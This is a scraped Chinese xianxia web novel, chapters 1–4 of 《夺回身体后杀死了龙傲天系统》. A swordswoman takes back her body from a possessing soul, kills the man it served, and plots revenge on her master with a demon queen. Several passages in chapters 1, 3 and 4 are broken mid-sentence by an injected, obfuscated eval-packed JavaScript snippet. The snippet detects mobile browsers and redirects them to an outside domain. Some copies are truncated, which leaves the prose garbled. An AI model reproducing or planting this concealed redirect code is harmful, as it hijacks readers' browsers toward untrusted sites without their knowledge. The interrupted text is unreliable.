《夺回身体后杀死了龙傲天系统》 1. 第 1 章 北郡荒山隐秘的一角,一女一男互相搀扶着从秘境中走出。 身后的秘境入口在两人离开之后迅速闭合,恢复成山体的一部分。 秘境之中两人几乎是死里逃生,身上都有大大小小的伤,尤其是那女子,黑色衣衫几乎被血浸透。 她此刻虚弱得紧,两人身上的药也只剩一颗聚灵丹。 她毫不犹豫地把最后一粒丹药给了身旁的男人,丝毫不顾自己的死活。 男子没有立刻接过丹药,他紧紧盯着宋长云,目光是贪婪的期待。 女子立刻明白他的意思。甄斐仁的储物法器在进入秘境时不慎丢失,她们方才在秘境中寻得的东西现下都存在了她的储物戒中。 她笑着,直接将自己的储物戒递了出去,一丝一毫都不曾给自己留下。 甄斐仁丝毫没有关注面前这个为了在秘境中保护他身受重伤的女人,视线粘在那枚小小的储物戒上,心中得意又畅快。 他知道,就算他不说,面前这个女人也会上赶着把这些九死一生得来的好东西送给他。 他施舍一般分了一丝目光给她,面前人眼眸亮晶晶的,像一只等待主人夸奖的狗。 于是他笑起来,眼底得意之色更甚。 如今他是青云宗最得意的天才弟子,没有人记得百年前,他只是一个任人欺辱的落魄书生。 多亏了她,宋长云,曾经修仙界最风云的人物。 多亏了这个美丽又愚蠢的女人,让他从一个没天赋没灵根、村头的狗都能冲他随意撒气的废物书生,变成了如今修仙界最厉害的人座下的弟子。 这个曾经令他仰视的存在低下了自己高贵的头颅,费尽心思为他洗筋伐髓,倾尽财力为他寻来天材地宝,让他脱离肉体凡胎,踏入仙途。 他知道,为了他,即便是死,她也毫不迟疑。 如今他是青云宗最年轻的首座弟子,是世人眼中千年难遇的天才,便是许多早入门的前辈都要对他毕恭毕敬,再也没有人敢对他颐指气使。 甄斐仁心里划过满足的畅快,伸手去拿宋长云手中的储物戒。 此次秘境是宋长云偶然发现,除了她们二人,再也没有第三人知道,这个不起眼谷底藏着一个遍地是宝物的秘境。 有了这些宝物,不过闭关数日,再到出关之时,他将再一次惊艳众人。 所有人都将惊叹他的天赋,仰望他的强大。 甄斐仁想着,仿佛真的看到了他短短时间修为又上一层时众人或艳羡或嫉妒的目光,眼底的得意之色更甚。 就算这一切都是宋长云给的又如何?即便她才是曾经人人难以望其项背的天才,可如今百年过去,为了将他推上她曾经的位置,百年间她的修为丝毫没有长进,现下更是不如他。 甄斐仁忍不住轻笑。 这个女人为了捧他,甚至连昔日最令人称道的本命灵剑使得都不如从前好了。 再也没人记得那个曾经天赋强到可怖的人,日后有人提起青云宗,也只会想到他甄斐仁。 想到未来的一切,甄斐仁兴奋得几乎战栗,触上储物戒的手都开始颤抖,丝毫没有注意到身旁人神色的变化。 那个原本看起来毫无自我的女人,眼神忽然变得锐利起来,她看着面前熟悉的男人,心中涌上阵阵恶心。 指尖传来黏腻的触感,宋长云下意识捏紧了手里的储物戒。她无视甄斐仁诧异的眼神,将储物戒戴回了自己手上。 “你……”甄斐仁明显露出不快的神情,却没有多说什么。他沉了口气,想要说些什么,然而未等他开口,甄斐仁便看见面前女子退后了两步,唤出了本命长剑。 那把剑通体雪白,原本是一把难得的好剑。只是现在上面多了三三两两的缺口,破破烂烂地被宋长云拎在手里。 破云剑是在秘境中破损的——或许更早之前,破云剑就已经不似从前般坚固了。 甄斐仁觉得惋惜,更多的却是窃喜。 破云剑是传说中的上古神剑,曾经被宋长云捡了便宜。如今剑身残缺,他的修为早已超过她,这下,宋长云再也没有能比得过他的了。 甄斐仁露出一抹不易察觉的笑,就要上前去宽慰满脸遗憾的宋长云。 在宋长云彻底无用之前,他依然要装得温柔儒雅。 两人之间的距离被他拉近,那枚储物戒更是近在咫尺。 宋长云忽然抬头看他。他后知后觉察觉到女人的变化,对着眼前熟悉到厌烦的脸,他一时间不找不出到底哪里不对。 女人对着他缓缓露出一个微笑。与平日里的温顺乖柔不同,此时的宋长云像是完全变了一个人,那抹笑放肆又张扬,望向甄斐仁的眼神像是在看一个死人。 然而甄斐仁没有注意到她危险的眼神,他被宋长云身上完全不同的气息吸引,一时间怔在原地。 这片刻他愣神的间隙,那柄残破的雪白长剑带着依旧锋利的力道,狠狠贯穿了他的胸口。在他不可置信的目光中,宋长云面无表情地将剑柄一拧,用体内所剩无几的灵力震碎了他的心脏。 并不伟岸的身影轰然倒地,扬起阵阵尘土。宋长云居高临下地睨视着这具死不瞑目的尸体,终于缓缓吐出一口浊气。 亏空的身体再也无法支撑她,宋长云撑着剑跌在地上,破云剑发出阵阵嗡鸣,像是在庆贺主人的新生。 宋长云看着手中不断震颤的剑,终于真心实意地笑起来。 “我回来了。”她说。 恐怕除了她的本命灵剑,再也无人知晓她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018686|162151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的魂魄曾离开这具身体,毫无所依地飘荡了近百年。 百年前她的魂魄被强行挤出身体,困在肉身周遭无法离去。她眼睁睁看着自己的身体被一个无名孤魂占据,看着它倾尽原本属于她的所有去将一个毫无所长的凡人男子托举上不属于他的高度,看着它在这百年里修为不得寸进,看着它不惜损耗自己的元神为那男子助力。 那孤魂将原本属于她的一切拱手让人,曾经为她骄傲的师尊对她的异常不闻不问。 它将前来问询关怀的朋友一一赶走,破坏了她与她人几乎所有的联系,将“宋长云”变成了一座无用的孤岛。 她不甘、愤怒,可无济于事。她什么都做不了,只能被困在肉身旁苦苦挣扎。 这么过了近百年,她围着这具肉身日日尝试都不曾动摇那孤魂半分。她不知道当初为何会被孤魂挤出肉身,也不知今日为何会忽然回来。 ——许是老天都看不下去它的所作所为,要她回来拨乱反正。 她不知道它去了哪里,也许如从前的她一样在她旁边睁眼看着,也许正在声嘶力竭地质问她为何杀了它费尽心思托举的甄斐仁。 这样想着,宋长云心里痛快了许多。她抬手抚摸着残破的剑身,眼神暗了暗。 神剑认主,没了她的魂魄,神剑也渐渐失去了昔日的光彩。而短短百年,她的破云剑竟被那那孤魂折腾成这副鬼模样。 若不是没了力气,她真想再往甄斐仁身上狠狠扎几剑。 平复了些心绪,宋长云开始思考。 不能将甄斐仁的尸体留在这里。甄斐仁如今是众人眼中的大天才,一旦被发现是她杀了他,后果可想而知。 凭她现在百年不得寸进的修为,宗门那些人轻易就能杀死她。 只是身上最后一点力气被她用来杀了甄斐仁,现在丹田内没有丝毫灵力,四肢发虚,想要支撑着站起来都难。 好在此次秘境中寻得的宝贝不少,宋长云略一翻了翻,找到了一株金色脉络的灵草,整体呈现为半透明琉璃质。 炁藤,对普通修士无用,却适合极了她现在这副残破的身体。 不枉她在秘境中时废了那么大力气拿到它。 只是现在不是炼化炁藤的好时候,甄斐仁的尸体还在,随时会有人察觉到他魂灯已灭追来。 她看向面前死死瞪着眼睛的尸体,想起方才自己将最后一粒聚灵丹药给了他。 丹药落在了不远处的地上,许是掉落时滚了几圈,占满了尘土。宋长云捡起在身上随意擦了擦,吃了下去。 待终于恢复了些力气,宋长云起身,从储物戒中翻出法器,将甄斐仁的尸体收了进去。 费了点力气处理附近的痕迹,宋长云御剑朝着一个方向飞去。 2. 第 2 章 妖族。 大殿内,司命捏死一只妄图刺杀她的男妖,化为原形的尸体燃成灰烬落了一地。 司命拍了拍手上沾染的灰尘,觉得这些人好生无趣。 百年前她从父亲手中夺回王位,自那之后,他的残部便如疯狗一般,每几日便来送死一个。 她们太过弱小,一次次无用的反扑让司命觉得养着这群蝼蚁也不错,看她们日后能翻出什么新花样。 妖生实在无趣这么多年也只有一个人修能与她说得上话,只是自从百年前她爱上一个凡人男子开始,那人便像是变了个人。 司命也不爱和她说话了。 她斜躺在宽大的座椅上,百无聊赖地把玩着一根指骨。 殿内忽然有风掠过,一道剑气自殿外袭来袭来。 过于熟悉的气息让她的血液忍不住沸腾起来,只是那道剑气里裹挟着的力量着实微弱,司命皱着眉,只是少一抬手便消解了它。 一道人影出现在眼前,司命还没来得及质问,便见面前那人直挺挺倒了下去。 司命:“?” 碰瓷? 身体比脑子快,吐槽之前她已经闪身过去接住了宋长云。 手无意间将她腰间的东西碰落,法器落在地上,甄斐仁的尸体出现在司命眼前。 眉头微挑了下,司命看向已经昏死过去的宋长云,眼里多出了一丝兴味。 宋长云再次醒来已经是半月之后。 寝殿里没有其她人,宋长云起身,试着运转了□□内的灵力。 片晌,宋长云唇边露出了一丝笑。 炁藤已经被炼化在了她的体内,一点点修补着曾经受损的经脉。 虽然没有恢复到百年前的状态,但对比前几日刚回到这副身体里时已经好太多了。 宋长云当然不会以为自己昏迷中便能自行将炁藤炼化,她这一身伤少不了司命费心思。 “阿肆。”她对着空荡荡的寝殿唤了一声,声音如从前一般上扬,带着一丝欢畅。 被她发现,司命也不再藏着。她走到宋长云面前,居高临下地睨着她,冷笑一声:“百年不见你,如今受了伤倒是想起我。” 宋长云轻轻笑笑,视线对上司命的眼睛:“我如今能信的,也只有你了。” 司命皱眉:“到底发生了什么?” 她一早便怀疑过宋长云身上发生了什么,可不管她如何探查都查不出异样,便只能不了了之。 “还要多谢你。”宋长云说,“若不是你暗中相护,我这副身体怕是撑不到来见你。” 她被占据身体的这百年间,多次身陷险境。若不是有人暗中帮了一把,这具身体可能早就化作一捧白骨了。 司命没有否认。她察觉到了宋长云话里的不同寻常,转身在床边坐下,示意她继续说下去。 宋长云望向远处,眼神暗了几分,过了许久才复又开口道:“这百年里,有人占用了我的身体。” 她这番话并未让司命震惊,司命只是眉梢微沉:“可我用魂镜查过,并无异常。” 她与宋长云虽不说是多要好的好友,司命自认是了解她的。那段时间宋长云忽然性格大变,司命便怀疑她是否是被换了魂魄。 可她取来妖族法宝魂镜,却照不出丝毫异常。 ——不,也并不是毫无异样。 那时宋长云的魂魄似乎被蒙上了一层薄雾,模糊得让人看不真切。 常人在魂镜前显现出的都是灵魂原本的模样,只有宋长云的不同。 司命无法判断宋长云是否被换了芯子。她曾偷偷用魂镜照过宋长云,她的魂魄从很久以前开始,在魂镜中便是模糊一片。 人族与妖族不同,司命无法直接插手宋长云的事情,她不甚喜欢那时的宋长云,便不再与她交好,宋长云也好似忘了她这号人,两人竟百年未再见一面。 司命倒不会以为宋长云会骗她,问出了她最想知道的事情:“那这段时间你去了哪里?” “被困在了它身边。”宋长云说。 一句轻飘飘的话带过了她这百年间所有的愤怒与痛苦。 “没发现什么吗?”司命问。 宋长云摇了摇头。 它所接触的人不多,除了一心一意扑在甄斐仁身上也并未有过什么让人起疑的举动。 只不过…… 宋长云眉眼间浮上一丝阴鸷:“我怀疑这件事和容昭有关。” 容昭,青云宗现任掌门,也是宋长云的师尊。 司命略一思量:“与你那时所查之事有关?” 宋长云点头。 司命没再说话。她垂眸盯着手里的那截指骨,不知在想些什么。 宋长云也不管她,她早就习惯了沉默的司命。她闭上眼,感受着灵力在身体内流动。 青云宗如今是回不去了,妖族也不是久留之地,她还需要一些时间来梳理之后的计划。 沉默许久的司命忽然笑了起来,唇角绽开的弧度让她的面容显得诡丽。她眼睛直勾勾看向宋长云:“那便将他杀了吧。” 宋长云不置可否,只是道:“我现在打不过他。” 若是百年前面对容昭她或许还有一战之力,现在这副四处漏风的身体怕是连低她一阶的修士都打不过。 况且,她的破云剑…… “我帮你啊。”司命说,声音带着几分无所谓,“你帮我,我也帮你。” 宋长云轻笑着看向她,因身体和灵魂的创伤而疲惫无力的眼睛里闪着光彩:“你不是已经在帮我了吗。” 她和司命有共同的秘密,有着相似的性格。 司命会在无法确认她灵魂情况的前提下保护她的肉身,自然也会在她带着甄斐仁的尸体昏倒在她面前后知道她想干什么。 宋长云并不担心甄斐仁的尸体和秘境中的痕迹,司命会帮她掩饰。 即便那些障眼法无法骗过容昭——那个曾占据她身体的东西所效忠的人,就是容昭。 这件事从她醒来看见自己身体已经被占据的那一刻便能确定。 毕竟在此之前,宋长云一直在调查她那风光霁月的好师尊。 宋长云眼神微暗。 从前她无法确定,但是经历了灵魂百年的游荡,她就算再蠢也知道那些事是容昭在背后搞鬼。 那些高阶女修的死,包括前任掌门离奇的入魔。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018687|162151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 都与那个看起来道貌岸然的正道魁首有关。 她们曾经的那些异常被世人定义成深陷情劫,性情大变被美化成为爱痴狂,就如这百年中的她一般。 至于为何她被夺舍后所奉献的对象不是容昭而是个凡人—— 当然是她那道貌凌然的好师尊最重面子,不会放任自己传出与徒儿有染的丑闻。 献出宋长云所拥有的一切,就算是个废物也能被捧上神坛。 百年过去,青云宗容昭座下最得意徒儿已经从宋长云变成了甄斐仁,对容昭来说并没有什么损失。甚至在她死后,他也能理所当然地从甄斐仁身上拿走原本属于宋长云的一切。 如今她回到自己的身体,甄斐仁也已经被她杀死,尸体也已经被司命处理。 即便容昭能够通过“它”知道真相又如何?他没有证据,又如何能证明她这个深爱着甄斐仁的女人亲手杀了自己的道侣呢? 更何况,他也不是无所不能。妖族有结界,即便是这万年来最厉害的修士都无法破解,他容昭即便有通天的本领也无法把耳朵伸进来。 至于她离开妖域之后—— “阿肆。”宋长云看向司命,正色道,“给我下共契咒吧。” “不行。”司命凝眉,拒绝,“以你现在身体,无法承受共契咒的反噬。” 共契咒为妖族特有,需双方交换血液进行“引魂仪式”,咒术生效两人血脉灵魂共鸣,必要时两人甚至可以灵魂共用一具身体。 此咒会对被施咒一方产生反噬,轻则失去五感,重则死亡。 它原本是曾经妖族女子为了控制无法管控的男妖所创,施咒者可以随意控制另一方,包括肉丨体,当然也包括灵魂。 以宋长云从前的境界修为或许不必担心反噬,可现在她的身体从上到下没一处是好的,怕是咒还没下完便会五感尽失。 “没关系。便是死了,也比不知何时又会被它占了身体去好——” 话音未落,肩头便挨了司命一记重击,叫她险些飞出去。 “说什么丧气话。”司命斥她,见她反应也知道自己力道没收住有些大了,于是假装清了清嗓,“便是死也要杀了容昭再死。” 宋长云忍不住笑起来,她笑得畅快,笑得身上的伤似乎又裂开,笑得心口震颤。 是,即便是死,她也要杀了容昭再死。 这百年的仇,掌门的死,那些曾经出现又消失的女人们。 她要一一清算。 司命见状,微不可查地轻叹一声,抬手抚过宋长云的灵台,温和的灵力输入到她体内。 “若你执意要如此,那便等过几日身体好些再议吧。” 半晌,宋长云再一次昏睡过去。 司命走出寝殿,抬头望向一个方向。 这几日似乎总有什么东西想要冲破结界进来,但不管她用什么方法都找不到它。 气息有些熟悉,似乎与占据宋长云身体的是同一个东西。 心思一动,司命勾了勾唇,指尖微动,有什么东西朝着上空飞去,直至没入结界。 想在她眼皮子底下对她的朋友动手,她这么多年的妖皇可不是白做的。 3. 第 3 章 在妖域修养了小半年,宋长云每日除了养病便是吃吃喝喝,与青云宗因甄斐仁魂灯灭和她的失踪而陷入混乱不同,宋长云悠闲惬意,难得过了几天舒心日子。 身上大大小小的伤被司命养得好了大半,命脉也因吸收了炁藤而被修补,唯独曾经险些被“它”献祭给甄斐仁的元神毫无办法。 若不是自己这幅身体抗拒,献出元神会神魂具散,甄斐仁——或者说容昭,不仅得不到她元神的力量,还会失去她其它的助力,怕是司命也保不住她。 她在妖族的事情并没有多少人知道,除了司命和几个负责照顾她衣食起居的属下,没人知道她们妖皇殿下私藏了个人修疯狂找寻的人。 当然有人怀疑过,可没有证据,涉及两族之事,没有人敢硬闯。 即便是容昭。 他是唯一一个确切知道宋长云在妖域的人,来时司命并未让他进来,只是在入口处略寒暄了几句便转头送客。 按照司命的话来说,她怕聊久了她忍不住动手坏了两族的和谐。 共契咒施咒当日,司命往她怀里塞了许多法器宝物,嘴上说着这些无用之物在仓库堆着积灰不如扔给宋长云。 宋长云笑笑,接受了她的好意。 以血为引,阵法亮起血色光芒。司命的玲珑卫分别位于东南西北四个方位为她们进行护法。 宋长云感觉自己的灵魂像是再一次被抽离,割裂感自头顶开始蔓延,蚀骨的痛意渐渐袭满全身。 最先感受到的设计痛意,接着是耳朵的嗡鸣、身体渐渐陷入黑暗。 宋长云像是回到了百年前一觉醒来便发现灵魂不在自己身体里那日。 睁开眼,面前是一张与自己一模一样的面容。宋长云下意识想要拔剑,却发现自己身上空无一物。 她的破云剑,她的一切,都在那个与她相似的女人身上。或者说——那个女人就是她。 被换了灵魂的她。 彼时她正私下调查那些或出门游历许久未归或已经明确死亡的女修们,房间是一间暗室,里面密密麻麻是她搜集来的资料。 她看着自己站起身,一把火将暗室里的东西烧了个干净。 那些女修再一次被遗忘了。 灵魂被困在肉丨体身边,宋长云看着“自己”出宗游历,偶遇落魄书生,而后一发不可收拾地爱上了他。 饶是她使尽浑身解数也无法回去。 宋长云作为修仙界年轻一辈的翘楚,变化如此之大不可能无人发现。可每每有人询问,那个“她”只是如从前所有女修一般露出羞涩的笑容,将自己的一切反常归宗于一贯如此的情劫。 无人怀疑,无人追究。毕竟千百年来性情大变的女修都是如此。 血光大亮,宋长云逐渐找回自己的身体,消退的五感渐渐回笼。发丝飞散,一道暗红色的妖异纹路自眉心绽开,细若游丝的赤线在额间蜿蜒,渐渐显现出花瓣的轮廓,花瓣层叠,叶脉在赤红中显现出金色,那是司命的原形真身——碧血琼英,上古时期因神木与凤凰精血交融而生,是司命一族的本源。 阵纹成,则咒术成。 有司命给的法器宝物和玲珑卫护法,咒术的反噬没有对宋长云造成多大伤害。共契咒即将完成,司命却忽然脸色一变,挥手强行中断了阵法。 宋长云睁眼,便对上司命面色复杂地眼神。 司命眼底闪过一丝不解,解释道:“你的魂魄不全,承受不了共契咒。” 魂魄不全? “我也没有头绪,”司命说,“你也知道魂镜里你的魂魄一直都是模糊的,即便用魂镜也找不出你魂魄的问题。” 司命第一次发现魂镜无法照出宋长云的魂魄时便与她说了此事。那时的宋长云并不在意,还质疑过是不是司命的魂镜出了问题。 现在看来,她的魂魄中从一开始就藏着什么连她本人都不知道的秘密。 残缺的魂魄或许不是被夺舍期间消失的,而是从始至终都未拥有过。 宋长云在婴孩时期便被前任掌门应璃真带回青云宗,应掌门只说宋长云是她自山下捡来的弃婴,将她放在青云宗抚养。 她还未长大,应掌门便因走火入魔离世,容昭接任掌门一职后,收宋长云为徒。 关于她的来历,所有人包括宋长云自己在内,都是从应掌门口中得知,这么多年过去,除了应璃真,无人知晓那段话的真实性。 玲珑卫早已隐入暗处,殿内只剩下沉默的两人,安静得几乎落针可闻。 司命垂眸瞧着陷入回忆与思考的宋长云,略一思忖,抬手掌心向上停留在自己心口处,片刻,一瓣金色脉络的花瓣出现在她手中。 与此同时,四名玲珑卫出现齐齐跪下试图阻拦她:“殿下!” 司命面色不改,灵力在花瓣上流转,淡声道:“退下。” 玲珑卫不可违抗妖皇的命令,再一次隐入黑暗中。 “共契咒是无法种下了,便先用这个吧。”她对宋长云说,“碧血琼英,我本体的花瓣,虽与共契咒的作用不同,却可以在你周身设下一个与我妖族结界一脉的屏障,那东西定然无法再次夺舍你。” “可你百年修为——” 碧血琼英为玉色重瓣花,花瓣如冰晶层叠,叶脉流淌着凤凰金血。每百年生长一片新叶,是为增长的百年修为。 这瓣花瓣给了她,便是舍弃了实打实的百年修为。 “无妨,再修炼便是了。”司命随意笑笑,并不在意,“我有母亲留给我的修为,少这区区百年,我的王位还不至于被那群肖小之辈抢了去。” 她说着,手中灵力融进花瓣,缓缓送入宋长云体内。 花瓣化作一道白金色的光芒没入宋长云的身体,周身泛起淡淡的光芒而后慢慢隐去。 与结界一同而生的还有司命的百年修为。人族与妖族的修炼方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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身后门口出现两道人影,一道便是她的好师尊容昭,正一脸冰冷地斥她“逆徒”,另一人头戴斗笠,微微弓着身子,无法辨识它的容貌,甚至无法凭借身形辨别是女是男。 也或许它本就不是人。 至此宋长云已经明了此处是何地。 这里是她的心魔。 地上人是她记忆里早已离开的人,面前人是她必须要杀死的人。 她想要一个真相,想要一个正义。 破云剑出现在她手中,灵力填补了残破的剑身,她抬手,凌厉的剑气朝着门口两人挥去。 再次睁开眼,玄水与罗夜二人正面露担忧地盯着她,源源不断的灵力自她二人掌心涌入宋长云的身体。 “无碍。”宋长云稍稍宽慰道。 她望向远方,眼底是极致的平静。 她被夺舍百年,区区心魔也想扰乱她的心绪。 不过是心魔,斩了便是。 容昭,它,或许还有其她人。 一并斩了便是。 4. 第 4 章 青云宗,断崖下的一处隐秘山洞内。 山洞周围被布下结界,从外面看不出任何异样。山洞墙壁的后方,俨然是一间密室。 密室中只燃着一盏灯,晦暗不明地照在室内人脸上。他面上没什么表情,眼中像是闪烁着并不明显的蓝色纹理。 那人正是容昭。 “如今甄斐仁已死,连尸骨都找不到,我们所做的一切都白费了。” 无人应答,他像是自顾自说下去:“可你的预言中不是说她是唯一的变数吗?” 许久,昏暗灯光下那张脸忽然笑起来,人前向来温润的面孔变得扭曲狰狞。 “没错,我才是这个世界唯一的主角,成为我的祭品是她们的荣幸。”他站起来,几乎踉跄地挥灭烛台,眼神慢慢变得阴冷。“我才是这个世界的规则,她宋长云就算再强也强不过世界的天道法则!” “是,三月后天枢秘境开启,里面有她想要的东西,我不信她不来。” 话落,一抹幽蓝色的光自他指尖飞出,穿过山洞落在了青云宗某处。 - “你要回青云宗?”司命眉梢微扬看向是宋长云。 “嗯。”宋长云点头,“这次的天枢秘境开启地点在青云宗。” 天枢秘境,传闻是某个上古大能遗留的府邸,每三百年会随机在某地开启一次。秘境内灵气充裕,比现实更容易修炼,每次开启,即便不是为了搜罗天材地宝,很多人也会选择进入。 这种一般是一些低阶修士,遇到危险会立刻捏碎自家师尊给的保命符被传送出来。 大多数进入秘境的都是都是为了寻宝。 秘境中的少宝物灵药让一众修士趋之若鹜,宋长云亦是其中之一。 不论是修复元神还是修复破云剑,她都需要进入秘境,去取来自己想要的东西。 “让那老东西知道了肯定会给你使绊子。”司命说。 宋长云被她对容昭的称呼惹得笑了一下,而后唇边的弧度又染上一抹讥讽,道:“我倒巴不得他早些来找我。” 好叫她能早日杀了她。 司命不置可否。 “我随你一起吧。”她说,那枚指骨在她指尖翻转,“我也有件东西……想要进去找找。” 秘境没有规定妖修不可进入,尤其是此次秘境落在青云宗,作为修仙界第一大宗门,即便为了自己的面子,她们也不会在现在如今人妖和谐的情况下做出阻碍妖族进秘境的事情。 “到时我装作你的族人进去吧。”宋长云说。 身上有司命的本体花瓣,宋长云想要伪装妖族易如反掌。 她懒得应付那些人关于甄斐仁和自己失踪的问询,还有她这身忽然暴涨的修为,瞒不住在场的人。 “可以。”司命说,她抬头觑了宋长云一眼,难得揶揄道,“反正你早晚是我的人。” 她说得是前几日宋长云说自己日后任凭她差遣。 此时是夜,两人正在山顶晒月亮,司命吸收天地灵气,宋长云在一旁静心打坐。 许久,宋长云睁开眼睛,缓缓呼出一口气。 她抬头望向皎洁的圆月,心绪难得平静。 天枢秘境中她必然会遇见容昭。虽然以她现在的身体和修为,并不是容昭的对手,但好在容昭那个人在被逼急了之前不会自己亲自动手。 有司命在身边,她并不担心容昭之外的人能伤得了自己。 “在想什么?”司命忽然开口问她。 “明天就能见到她们了。” 她们,宋长云曾经在青云宗的朋友们。 身旁的司命冷哼一声:“你惦念着她们,她们可同样惦念着你?” 宋长云表情未变,只是依旧仰头望着夜空:“我不知道。” 这百年间发生了许多事。她被夺舍后,它一心扑在甄斐仁身上,渐渐冷落了原本在她身边的人。她跟在它身边,看着曾经的好友与自己渐渐疏远,直到后来的十年间,她甚至几乎没有见过甄斐仁之外的其她人。 她们怀疑过自己被夺舍吗? 宋长云笑了笑。 连司命都看不出自己灵魂已经被换,她们又怎会怀疑。 只是如所有人一般以为自己因为爱情而性情大变吧。 宋长云并未悲伤很久,便被司命略显冷硬的声音打断:“我与她们不同。” 宋长云便也笑起来:“那当然,你可是妖皇殿下。” 司命皱眉,不悦地看向她。 对上她的视线,宋长云莞尔,眸底似有光。 “我知道。”她说,“谢谢你,阿肆。” 她需要有人知道她的存在,需要有人知晓她的离开。她需要在这个世界有一个锚点。 没有司命,或许她现在已经入魔了。 其她人察觉不到也没关系,细究起来她其实没有立场去责怪她们。 毕竟…… 司命见她面色渐渐沉下去,便知她又陷入了沉思,便没再说话,静静吸纳着天地灵气。 宋长云思索着那些不对劲的地方。容昭身上似乎有什么能蛊惑人心的东西,那东西或许能够篡改别人的记忆。 否则为何这么多年无人怀疑向来清正理智的掌门忽然入魔暴毙,为何一向悲悯的药王谷谷主毫无理由地自戕,一贯刚正不阿的煅金阁阁主缘何突然与魔族勾结。 便是她自己,百年前调查那些后来被它毁掉的证据时,也曾在某些瞬间陷入茫然——她为何要查这种东西? 一时间有些烦躁。 容昭背后的东西到底是什么,能悄无声息将人夺舍,潜移默化影响人的心智与记忆。它利好的指向是容昭,容昭也确实从曾经名不见经传的外门徒子一跃成为如今青云宗新一任掌门。 它是谁?它的耳目只有容昭吗?它到底想要做什么? “你说会不会有一天,我也被它给夺舍了。”司命忽然开口。 “不会。”宋长云想也没想边说。 司命的本体中融合着上古时期的凤凰精血,是天然的屏障,防止一切外物入侵。宋长云现在因为体内有司命的本体花瓣才能将它挡在身体之外,若是它有一日强大到能无视上古凤凰血将司命夺舍…… 她不敢想那时候世界会乱成什么样子。 司命不再追问,只是应道:“好,不会。” 距离天枢秘境开启不过还有一月,宋长云也收起了心思,专心修炼。 秘境中有罕见的天材地宝,自然也有重重危险。她是剑修,如今破云剑无法用,只能凭借自身修为。 进秘境之前,修为能提升一些便是一些。 那些宝物不只她自己,许多人都虎视眈眈。即便她身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018689|162151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有司命也不可小觑。 秘境中没有规则,死伤自负。她不能时时刻刻依靠司命。 时间在日复一日的修炼中很快过去,转眼便到了天枢秘境开启那日。 这日青云宗热闹无比,其它门派的人一波接一波赶来,原本稍显冷清的青云宗也开始变得拥挤。 大家凑在入口前,翘首以盼着秘境开启。 时间缓缓过去,不知是谁指着上方喊了一声“快看”,大家热闹的人群安静了一瞬,齐齐抬头看向上方。 那是司命的銮驾,两侧身后跟着浩浩荡荡的一群妖。 众人面色各异。 现在人族与妖族表面和谐共处,可到底从前有过龃龉,即便多年过去,许多人心中依然对妖族有成见。 今日这场合容昭也在,他向上看去,一眼便认出司命身旁护卫便是伪装过后的宋长云。 眼色微沉,容昭维持着自己温润和煦的做派没让自己失态。 司命一行人缓缓落下,正巧停在容昭身前,司命从銮驾上徐徐走下。 司命生得高大,她在容昭面前停下,几乎居高临下地俯视着他,唇边勾起一个意味不明的弧度:“容掌门,许久不见。” 容昭脸上挂着笑,端着一贯的温润做派,微微颔首:“殿下。” 再抬眸时,他的目光越过司命,直直看向她身后的宋长云。 宋长云也正盯着他。她知道自己的伪装瞒不过容昭,目光相撞,宋长云耳边响起熟悉的声音。 “长云。” 宋长云轻笑,传音向她昔日的师尊问好。 “容昭——师尊。” 容昭目光中带着一丝隐晦,传入宋长云耳中的声音像是叹息:“回来便好。” 宋长云垂眸:“多谢师尊挂念。” “斐仁的衣冠冢立在你们昔日一起生活的庭院后面,记得去看看。” “是。”宋长云轻哂,缓声道,“徒儿定会前往祭拜。” 司命在宋长云身前,一副混不吝的模样,丝毫没有世人眼中掌权者该有的冷峻庄重,反而张扬跋扈到了极致。 她身后的妖修们也与自家王毫无二致,那样子看起来倒像是来砸场子的,场上许多人的表情更加微妙。 容昭无法在众目睽睽下对宋长云动手,调整了面上表情,正要说些什么冠冕堂皇的场面话,身后的秘境骤然开启。 若是往常,众人都会给秘境所在宗门个面子,比如此次,该是青云宗的人先进秘境,其它宗门再陆续前往。 如若此刻在其它宗门,司命也会给了这个面子。可此刻在青云宗,秘境开启后,司命瞥了容昭一眼,便率领身后包括宋长云在内的众妖,率先进了秘境。 进入秘境的前一刻,宋长云微微偏头,余光望向容昭一瞬,收回目光跟着司命进了秘境。 不知道她的好师尊会给她准备什么惊喜呢。 容昭一言不发地看着渐渐消失在入口的妖族,耳边是众人带的窃窃私语,片晌,他脸上再一次挂起一贯的笑容,示意青云宗其她人招呼着其它门派陆续进入。 容昭对秘境中的东西没兴趣,留下其她人便离开了。 